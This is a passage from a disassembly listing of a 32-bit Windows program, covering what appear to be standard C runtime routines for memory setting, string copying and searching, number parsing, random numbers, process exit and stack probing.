		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C534, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C534, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A2CC
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2F0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27005C8h
		push	eax
		nop
		call	near ptr 26F0C74h


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2EC, edi
		mov	byte_4DB2E8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC95C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC958
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC95C
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2F0, edi
		call	near ptr 77E75CB5h
		nop


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A2B0, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A2B0
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A2B0, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC821[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C534, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C534, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C534, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C328
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


